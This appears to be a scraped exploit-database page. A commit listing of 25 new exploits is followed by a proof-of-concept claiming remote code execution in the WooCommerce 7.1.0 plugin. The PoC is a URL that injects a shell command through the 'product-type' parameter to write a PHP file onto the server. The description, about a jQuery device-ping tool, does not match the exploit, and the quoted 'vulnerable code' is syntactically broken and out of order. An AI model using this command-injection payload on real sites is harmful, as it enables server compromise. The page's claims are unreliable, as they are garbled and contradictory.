9b56e8731e
25 changes to exploits/shellcodes/ghdb EQ Enterprise management system v2.2.0 - SQL Injection qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS) ASKEY RTF3505VW-N1 - Privilege Escalation Bangresto 1.0 - SQL Injection Bludit 3-14-1 Plugin 'UploadPlugin' - Remote Code Execution (RCE) (Authenticated) Cacti v1.2.22 - Remote Command Execution (RCE) Judging Management System v1.0 - Authentication Bypass Judging Management System v1.0 - Remote Code Execution (RCE) rconfig 3.9.7 - Sql Injection (Authenticated) Senayan Library Management System v9.0.0 - SQL Injection Spitfire CMS 1.0.475 - PHP Object Injection Textpattern 4.8.8 - Remote Code Execution (RCE) (Authenticated) WooCommerce v7.1.0 - Remote Code Execution(RCE) CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Denial Of Service (DoS) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authorization Bypass (IDOR) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authentication Bypass SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Cross-Site Request Forgery SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Directory Traversal File Write Exploit SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Remote Command Execution (RCE) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Unauthenticated Factory Reset SOUND4 Server Service 4.1.102 - Local Privilege Escalation macOS/x64 - Execve Null-Free Shellcode
27 lines
No EOL
1.2 KiB
Text
27 lines
No EOL
1.2 KiB
Text
# Title: Wordpress Plugin WooCommerce v7.1.0 - Remote Code Execution(RCE)
|
||
# Date: 2022-12-07
|
||
# Author: Milad Karimi
|
||
# Vendor Homepage: https://wordpress.org/plugins/woocommerce
|
||
# Software Link: https://wordpress.org/plugins/woocommerce
|
||
# Tested on: windows 10 , firefox
|
||
# Version: 7.1.0
|
||
# CVE : N/A
|
||
|
||
# Description:
|
||
simple, easy to use jQuery frontend to php backend that pings various
|
||
devices and changes colors from green to red depending on if device is
|
||
up or down.
|
||
|
||
# PoC :
|
||
|
||
http://localhost/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-product-images.php?product-type=;echo '<?php phpinfo(); ?>' >info.php
|
||
http://localhost/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-product-images.php?product-type=;echo '<?php phpinfo(); ?>' >info.php
|
||
|
||
|
||
# Vulnerabile code:
|
||
|
||
95: $classname $classname($post_id);
|
||
94: $classname = WC_Product_Factory::get_product_classname($post_id, $product_type : 'simple');
|
||
92: ⇓ function save($post_id, $post)
|
||
93: $product_type = WC_Product_Factory::get_product_type($post_id) : sanitize_title(stripslashes($_POST['product-type']));
|
||
92: ⇓ function save($post_id, $post) |